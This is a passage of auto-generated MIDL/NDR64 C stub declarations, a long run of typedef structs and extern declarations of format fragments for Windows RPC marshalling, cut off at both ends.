frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n}\n__midl_frag635_t;\nextern const __midl_frag635_t __midl_frag635;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n    struct _NDR64_POINTER_FORMAT frag4;\n    struct _NDR64_POINTER_FORMAT frag5;\n    struct _NDR64_POINTER_FORMAT frag6;\n    struct _NDR64_POINTER_FORMAT frag7;\n    struct _NDR64_POINTER_FORMAT frag8;\n    struct _NDR64_POINTER_FORMAT frag9;\n    struct _NDR64_POINTER_FORMAT frag10;\n    struct _NDR64_POINTER_FORMAT frag11;\n    struct _NDR64_POINTER_FORMAT frag12;\n    struct _NDR64_POINTER_FORMAT frag13;\n    struct _NDR64_POINTER_FORMAT frag14;\n    struct _NDR64_POINTER_FORMAT frag15;\n    struct _NDR64_POINTER_FORMAT frag16;\n    struct _NDR64_POINTER_FORMAT frag17;\n    struct _NDR64_POINTER_FORMAT frag18;\n    struct _NDR64_POINTER_FORMAT frag19;\n}\n__midl_frag632_t;\nextern const __midl_frag632_t __midl_frag632;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag630_t;\nextern const __midl_frag630_t __midl_frag630;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag629_t;\nextern const __midl_frag629_t __midl_frag629;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag626_t;\nextern const __midl_frag626_t __midl_frag626;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag625_t;\nextern const __midl_frag625_t __midl_frag625;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag617_t;\nextern const __midl_frag617_t __midl_frag617;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag616_t;\nextern const __midl_frag616_t __midl_frag616;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag614_t;\nextern const __midl_frag614_t __midl_frag614;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag613_t;\nextern const __midl_frag613_t __midl_frag613;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag11;\n        struct _NDR64_MEMPAD_FORMAT frag12;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag13;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag14;\n        struct _NDR64_MEMPAD_FORMAT frag15;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag16;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag17;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag18;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag19;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag20;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag21;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag22;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag23;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag24;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag25;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag26;\n        struct _NDR64_MEMPAD_FORMAT frag27;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag28;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag29;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag30;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag31;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag32;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag33;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag34;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag35;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag36;\n    } frag2;\n}\n__midl_frag604_t;\nextern const __midl_frag604_t __midl_frag604;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag603_t;\nextern const __midl_frag603_t __midl_frag603;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n    struct _NDR64_POINTER_FORMAT frag4;\n    struct _NDR64_POINTER_FORMAT frag5;\n    struct _NDR64_POINTER_FORMAT frag6;\n    struct _NDR64_POINTER_FORMAT frag7;\n    struct _NDR64_POINTER_FORMAT frag8;\n    struct _NDR64_POINTER_FORMAT frag9;\n    struct _NDR64_POINTER_FORMAT frag10;\n    struct _NDR64_POINTER_FORMAT frag11;\n    struct _NDR64_POINTER_FORMAT frag12;\n    struct _NDR64_POINTER_FORMAT frag13;\n    struct _NDR64_POINTER_FORMAT frag14;\n}\n__midl_frag602_t;\nextern const __midl_frag602_t __midl_frag602;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag11;\n        struct _NDR64_MEMPAD_FORMAT frag12;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag13;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag14;\n        struct _NDR64_MEMPAD_FORMAT frag15;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag16;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag17;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag18;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag19;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag20;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag21;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag22;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag23;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag24;\n    } frag2;\n}\n__midl_frag583_t;\nextern const __midl_frag583_t __midl_frag583;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag582_t;\nextern const __midl_frag582_t __midl_frag582;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n    struct _NDR64_POINTER_FORMAT frag4;\n    struct _NDR64_POINTER_FORMAT frag5;\n    struct _NDR64_POINTER_FORMAT frag6;\n    struct _NDR64_POINTER_FORMAT frag7;\n    struct _NDR64_POINTER_FORMAT frag8;\n    struct _NDR64_POINTER_FORMAT frag9;\n    struct _NDR64_POINTER_FORMAT frag10;\n}\n__midl_frag581_t;\nextern const __midl_frag581_t __midl_frag581;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag11;\n        struct _NDR64_MEMPAD_FORMAT frag12;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag13;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag14;\n        struct _NDR64_MEMPAD_FORMAT frag15;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag16;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag17;\n    } frag2;\n}\n__midl_frag566_t;\nextern const __midl_frag566_t __midl_frag566;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag565_t;\nextern const __midl_frag565_t __midl_frag565;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n    struct _NDR64_POINTER_FORMAT frag4;\n    struct _NDR64_POINTER_FORMAT frag5;\n    struct _NDR64_POINTER_FORMAT frag6;\n    struct _NDR64_POINTER_FORMAT frag7;\n    struct _NDR64_POINTER_FORMAT frag8;\n    struct _NDR64_POINTER_FORMAT frag9;\n}\n__midl_frag564_t;\nextern const __midl_frag564_t __midl_frag564;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag11;\n        struct _NDR64_MEMPAD_FORMAT frag12;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag13;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag14;\n    } frag2;\n}\n__midl_frag552_t;\nextern const __midl_frag552_t __midl_frag552;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag551_t;\nextern const __midl_frag551_t __midl_frag551;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n    struct _NDR64_POINTER_FORMAT frag4;\n    struct _NDR64_POINTER_FORMAT frag5;\n}\n__midl_frag550_t;\nextern const __midl_frag550_t __midl_frag550;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n    } frag2;\n}\n__midl_frag544_t;\nextern const __midl_frag544_t __midl_frag544;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag543_t;\nextern const __midl_frag543_t __midl_frag543;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    struct _NDR64_UNION_ARM frag6;\n    struct _NDR64_UNION_ARM frag7;\n    struct _NDR64_UNION_ARM frag8;\n    NDR64_UINT32 frag9;\n}\n__midl_frag538_t;\nextern const __midl_frag538_t __midl_frag538;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag537_t;\nextern const __midl_frag537_t __midl_frag537;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag536_t;\nextern const __midl_frag536_t __midl_frag536;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag533_t;\nextern const __midl_frag533_t __midl_frag533;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n}\n__midl_frag518_t;\nextern const __midl_frag518_t __midl_frag518;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag516_t;\nextern const __midl_frag516_t __midl_frag516;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag515_t;\nextern const __midl_frag515_t __midl_frag515;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n}\n__midl_frag514_t;\nextern const __midl_frag514_t __midl_frag514;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag507_t;\nextern const __midl_frag507_t __midl_frag507;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag505_t;\nextern const __midl_frag505_t __midl_frag505;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag504_t;\nextern const __midl_frag504_t __midl_frag504;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag503_t;\nextern const __midl_frag503_t __midl_frag503;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag502_t;\nextern const __midl_frag502_t __midl_frag502;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag501_t;\nextern const __midl_frag501_t __midl_frag501;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag500_t;\nextern const __midl_frag500_t __midl_frag500;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag498_t;\nextern const __midl_frag498_t __midl_frag498;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag497_t;\nextern const __midl_frag497_t __midl_frag497;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag496_t;\nextern const __midl_frag496_t __midl_frag496;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag495_t;\nextern const __midl_frag495_t __midl_frag495;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag494_t;\nextern const __midl_frag494_t __midl_frag494;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag492_t;\nextern const __midl_frag492_t __midl_frag492;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    struct _NDR64_UNION_ARM frag6;\n    struct _NDR64_UNION_ARM frag7;\n    struct _NDR64_UNION_ARM frag8;\n    struct _NDR64_UNION_ARM frag9;\n    struct _NDR64_UNION_ARM frag10;\n    NDR64_UINT32 frag11;\n}\n__midl_frag491_t;\nextern const __midl_frag491_t __midl_frag491;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        NDR64_FORMAT_CHAR frag4;\n    } frag2;\n}\n__midl_frag489_t;\nextern const __midl_frag489_t __midl_frag489;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag488_t;\nextern const __midl_frag488_t __midl_frag488;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag487_t;\nextern const __midl_frag487_t __midl_frag487;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT frag1;\n}\n__midl_frag486_t;\nextern const __midl_frag486_t __midl_frag486;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_MEMPAD_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag485_t;\nextern const __midl_frag485_t __midl_frag485;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag484_t;\nextern const __midl_frag484_t __midl_frag484;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag483_t;\nextern const __midl_frag483_t __midl_frag483;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag482_t;\nextern const __midl_frag482_t __midl_frag482;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag480_t;\nextern const __midl_frag480_t __midl_frag480;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag479_t;\nextern const __midl_frag479_t __midl_frag479;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag478_t;\nextern const __midl_frag478_t __midl_frag478;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag477_t;\nextern const __midl_frag477_t __midl_frag477;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag470_t;\nextern const __midl_frag470_t __midl_frag470;\n\ntypedef \nstruct _NDR64_CONFORMANT_STRING_FORMAT\n__midl_frag469_t;\nextern const __midl_frag469_t __midl_frag469;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_MEMPAD_FORMAT frag6;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag7;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n    } frag2;\n}\n__midl_frag468_t;\nextern const __midl_frag468_t __midl_frag468;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT frag1;\n}\n__midl_frag466_t;\nextern const __midl_frag466_t __midl_frag466;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_MEMPAD_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag465_t;\nextern const __midl_frag465_t __midl_frag465;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag464_t;\nextern const __midl_frag464_t __midl_frag464;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag462_t;\nextern const __midl_frag462_t __midl_frag462;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag460_t;\nextern const __midl_frag460_t __midl_frag460;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag457_t;\nextern const __midl_frag457_t __midl_frag457;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag455_t;\nextern const __midl_frag455_t __midl_frag455;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag452_t;\nextern const __midl_frag452_t __midl_frag452;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag451_t;\nextern const __midl_frag451_t __midl_frag451;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag450_t;\nextern const __midl_frag450_t __midl_frag450;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag449_t;\nextern const __midl_frag449_t __midl_frag449;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag448_t;\nextern const __midl_frag448_t __midl_frag448;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag447_t;\nextern const __midl_frag447_t __midl_frag447;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag446_t;\nextern const __midl_frag446_t __midl_frag446;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag445_t;\nextern const __midl_frag445_t __midl_frag445;\n\ntypedef \nstruct _NDR64_CONFORMANT_STRING_FORMAT\n__midl_frag444_t;\nextern const __midl_frag444_t __midl_frag444;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag443_t;\nextern const __midl_frag443_t __midl_frag443;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag442_t;\nextern const __midl_frag442_t __midl_frag442;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n    struct _NDR64_PARAM_FORMAT frag11;\n}\n__midl_frag441_t;\nextern const __midl_frag441_t __midl_frag441;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag436_t;\nextern const __midl_frag436_t __midl_frag436;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag429_t;\nextern const __midl_frag429_t __midl_frag429;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag421_t;\nextern const __midl_frag421_t __midl_frag421;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag419_t;\nextern const __midl_frag419_t __midl_frag419;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_OPERATOR frag2;\n    struct _NDR64_EXPR_VAR frag3;\n    struct _NDR64_EXPR_CONST64 frag4;\n}\n__midl_frag418_t;\nextern const __midl_frag418_t __midl_frag418;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag417_t;\nextern const __midl_frag417_t __midl_frag417;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag416_t;\nextern const __midl_frag416_t __midl_frag416;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct 